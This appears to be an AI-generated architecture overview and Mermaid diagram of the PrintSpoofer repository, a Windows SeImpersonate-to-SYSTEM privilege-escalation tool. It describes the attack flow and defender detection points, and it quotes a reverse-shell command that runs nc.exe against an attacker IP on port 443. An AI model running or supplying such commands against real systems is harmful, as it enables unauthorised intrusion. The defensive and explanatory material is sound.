# k4sth4/printspoofer architecture

> Architecture diagram of the GitHub repository k4sth4/printspoofer, generated by GitDiagram from its file tree, README and a sample of source files (last updated 2026-03-13). It is an AI-made overview: check details against the source.

- Interactive diagram: https://gitdiagram.com/k4sth4/printspoofer
- Repository: https://github.com/k4sth4/printspoofer

## Overview

Summary / project type and purpose
- This repository is a small offensive security tool: a compiled Windows exploit binary (PrintSpoofer.exe) plus documentation. Its purpose (from README) is to exploit the SeImpersonate privilege on Windows Server 2019 to escalate to SYSTEM (alternative to Rogue‑Potato). It is not a full-stack application or service; it’s an attack tool / command‑line executable meant to run on a target host.

Main components to include
##### Attacker (operator machine)
- CLI/console that runs commands, receives reverse shell.
- Optional netcat listener or other C2.
##### Transport / delivery mechanism
- File transfer channel (SCP/SMB/HTTP/PSExec/Ad hoc copy) used to upload PrintSpoofer.exe to the target.
##### Target Host (Windows Server 2019) — break this into subcomponents
- Low-privilege User Process: the process that executes PrintSpoofer.exe (user context with SeImpersonate enabled).
- PrintSpoofer.exe (the exploit binary): highlight that this is the primary artifact included in repo.
- Windows Printing Subsystem / Print Spooler (service / RPC endpoints / spooler components) — the subsystem being abused.
- Windows Security / Token subsystem: impersonation/duplication APIs and the resulting SYSTEM token.
- SYSTEM Process / Elevated Command Shell spawned by the exploit (cmd.exe or arbitrary binary run as SYSTEM).
- Optional outgoing network connection for reverse shell (nc.exe invoked by the tool).
##### Monitoring / Logging / Defenders (optional but important)
- Event logs, EDR/AV components, firewall, Windows Security Auditing.

Relationships and interactions (data/operation flow)
- Attacker → (upload) → Target: transfer PrintSpoofer.exe to target host.
- Attacker → (trigger) → Target: operator executes PrintSpoofer.exe with flags (e.g., -i -c cmd).
- User Process (PrintSpoofer.exe) → Print Spooler / Windows printing subsystem: invokes API/RPC operations that leverage SeImpersonate to obtain a privileged token.
- Windows Security / Token subsystem: Duplicate/Impersonate token → elevate process context.
- PrintSpoofer.exe (in user process) → Spawn elevated process (cmd.exe) as SYSTEM.
- If requested, Elevated process → Attacker: connect back (reverse shell) over network to attacker listener (nc.exe) or run arbitrary commands locally.
- Monitoring → Logs: Windows Event logs / EDR see process creation, RPC calls, network connection attempts.

Important architectural patterns / design principles to call out
- Exploit-as-a-single-binary: small, self-contained executable that runs in the user context and manipulates OS subsystems.
- Privilege escalation pattern: abuse of OS impersonation primitives (SeImpersonate) + Windows printing subsystem to obtain SYSTEM token.
- Layers of abstraction: separate external actors (attacker, network) from local OS components (processes, services, token subsystem).

- PrintSpoofer.exe (binary artifact)
- Windows Server 2019 (OS)
- Print Spooler service (RPC / Win32 Print APIs)
- Network protocols for file upload and reverse shell (SMB, HTTP, SCP, or TCP for nc)
- Commands/flags shown in README (-i -c cmd) as example flows

- High-level overview (for non-technical stakeholders)
- Attacker → upload → target host → exploit → SYSTEM shell → optional reverse connection.
- Keep components coarse: Attacker, Network, Target OS, Elevated Shell.
- Expand target host into subcomponents (user process, PrintSpoofer.exe, Print Spooler/RPC, Token subsystem, elevated process).
- Detection / mitigation overlay
- Another layer showing where defenders can detect or block: EDR hooks, suspicious process creation, print spooler RPC calls, unusual token duplication, outbound network connections.

- Attacker/C2: red
- Network/Transport: blue
- Target OS components: green
- Sensitive/elevated components (SYSTEM token, elevated process): orange or bright highlight
- Detection/defense elements: gray or purple

Additional details to include (important for accuracy)
- Repository artifact explicitly: PrintSpoofer.exe (include filename and example flags from README: -i -c cmd).
- OS version and privilege precondition: "Windows Server 2019; SeImpersonate privilege enabled" — annotate this as a prerequisite condition near the target host.
- Optional reverse shell flow with the sample command from README (.\PrintSpoofer.exe -c ".\nc.exe 10.11.x.x 443 -e cmd").
- A “threat / detection notes” sidebar listing common IOCs: unexpected PrintSpoofer.exe execution, creation of SYSTEM cmd.exe, unusual RPC calls to print spooler, outbound TCP connection to attacker IP.

Practical drawing tips and tools

Be very detailed but focused — what to capture and not overthink
- As many concrete components and interactions as possible, since the project is small: attacker, transport, PrintSpoofer.exe, printing subsystem, token subsystem, spawned SYSTEM process, and network reverse shell.
- Don’t invent unrelated components (databases, frontend servers) — this repo has only a single binary and documentation: model the host internals and attacker interactions.
- Preconditions, sample commands, file names, and the privilege requirement as explicit annotations — these are essential architectural constraints for the exploit to succeed.

- [ ] Attacker node labeled with role and actions (upload, execute, listen)
- User Process (PrintSpoofer.exe) — show filename and flags
- Print Spooler / RPC endpoint
- Windows Security Token subsystem
- Spawned SYSTEM process (cmd.exe / chosen binary)
- API/RPC calls to Print Spooler
- Token duplication/impersonation
- Process creation as SYSTEM
- Outbound network reverse shell (protocol, IP:port)

Final note on ethics and documentation

- Optional overlay for detection/mitigation

This will give both a clear executive view and the necessary technical depth to reason about how PrintSpoofer.exe operates and how it should be detected or mitigated.

## Diagram (Mermaid)

```mermaid
flowchart TD
    %% Global actors
    Attacker["Attacker / Operator<br/>CLI / Listener (runs commands, collects shell)"]:::attacker
    Network["Network / Transport<br/>SMB / SCP / HTTP / PSExec / TCP"]:::network

    %% Target host container
    subgraph "Target: Windows Server 2019<br/>(Precondition: SeImpersonate privilege enabled)" 
        direction TB

        UserProc["User Process: PrintSpoofer.exe<br/>(Exploit binary — run as limited user)<br/>Example: .\\PrintSpoofer.exe -i -c \"cmd\""]:::binary
        Spooler["Print Spooler Service<br/>RPC / Win32 Print APIs (abused)"]:::service
        TokenSys["Windows Security / Token Subsystem<br/>DuplicateTokenEx /ImpersonateLoggedOnUser /OpenProcessToken"]:::secure
        SystemProc["SYSTEM Process (Elevated Shell)<br/>cmd.exe or arbitrary binary spawned as SYSTEM"]:::elevated
        Outbound["Optional Reverse Shell (nc.exe → AttackerIP:443)<br/>TCP outbound connection"]:::network

        Logs["Monitoring / Detection<br/>Event Logs / EDR / AV / Firewall"]:::detections
    end

    %% Repository artifacts (for context)
    Repo["Repository Artifacts"]:::repo
    README["README.md<br/>Usage examples & flags"]:::repofile
    BinaryFile["PrintSpoofer.exe (artifact)"]:::repofile
    License["LICENSE"]:::repofile
    Config["_config.yml"]:::repofile
    GitIgnore[".gitignore"]:::repofile

    %% Legend / notes
    Legend["Legend:<br/>Red=Attacker,Blue=Network,Green=Target Components,<br/>Orange=Elevated,Solid arrows=actions/APIs"]:::legend
    Notes["Notes:<br/>Exploit-as-single-binary; Minimal deps;<br/>Detect: unexpected PrintSpoofer.exe, SYSTEM cmd.exe, Spooler RPCs"]:::notes

    %% Connections: Attacker -> Network -> Target
    Attacker -->|"upload(PrintSpoofer.exe) SMB/SCP/HTTP/PSExec"| Network
    Network -->|"deliver file"| UserProc

    %% Execution flow inside target (component diagram arrows)
    UserProc -->|"InvokePrinterAPIs (RPC / Spooler API)"| Spooler
    Spooler -->|"Return impersonation context / handle"| UserProc
    UserProc -->|"Call DuplicateTokenEx / ImpersonateLoggedOnUser"| TokenSys
    TokenSys -->|"Provide SYSTEM token (duplicated)"| UserProc
    UserProc -->|"CreateProcessAsUser(SYSTEM) (spawn cmd.exe)"| SystemProc

    %% Optional reverse shell outbound
    SystemProc -->|"Optional: run nc.exe → AttackerIP:443 (TCP)"| Outbound
    Outbound -->|"TCP connect"| Attacker

    %% Monitoring arrows
    UserProc -->|"ProcessCreationEvents / RPC calls"| Logs
    Spooler -->|"RPC activity / service calls"| Logs
    SystemProc -->|"New SYSTEM process event"| Logs
    Outbound -->|"Network connection events"| Logs

    %% Repo artifact mapping to components
    Repo --> BinaryFile
    Repo --> README
    Repo --> License
    Repo --> Config
    Repo --> GitIgnore

    %% Layout helpers to keep vertical orientation
    Attacker --> Legend
    Legend --> Notes

    %% Click events for mapped components (paths from component_mapping)
    click BinaryFile "https://github.com/k4sth4/printspoofer/blob/main/PrintSpoofer.exe"
    click README "https://github.com/k4sth4/printspoofer/blob/main/README.md"
    click License "https://github.com/k4sth4/printspoofer/tree/main/LICENSE"
    click Config "https://github.com/k4sth4/printspoofer/blob/main/_config.yml"
    click GitIgnore "https://github.com/k4sth4/printspoofer/blob/main/.gitignore"

    %% Styles
    classDef attacker fill:#ffdddd,stroke:#ff4444,stroke-width:1px;
    classDef network fill:#ddeeff,stroke:#3399ff,stroke-width:1px;
    classDef binary fill:#ddffdd,stroke:#33aa33,stroke-width:1px;
    classDef service fill:#ccffcc,stroke:#2e8b57,stroke-width:1px;
    classDef secure fill:#fff2cc,stroke:#ff9900,stroke-width:1px;
    classDef elevated fill:#ffe6cc,stroke:#ff6600,stroke-width:2px;
    classDef detections fill:#f0f0f5,stroke:#8a79a6,stroke-width:1px;
    classDef repo fill:#f7f7f7,stroke:#999999,stroke-width:1px;
    classDef repofile fill:#ffffff,stroke:#666666,stroke-width:1px;
    classDef legend fill:#ffffff,stroke:#444444,stroke-width:1px;
    classDef notes fill:#ffffff,stroke:#444444,stroke-width:1px;

    class Attacker attacker
    class Network network
    class Outbound network
    class UserProc binary
    class BinaryFile repofile
    class Spooler service
    class TokenSys secure
    class SystemProc elevated
    class Logs detections
    class Repo repo
    class README,License,Config,GitIgnore repofile
    class Legend legend
    class Notes notes
```
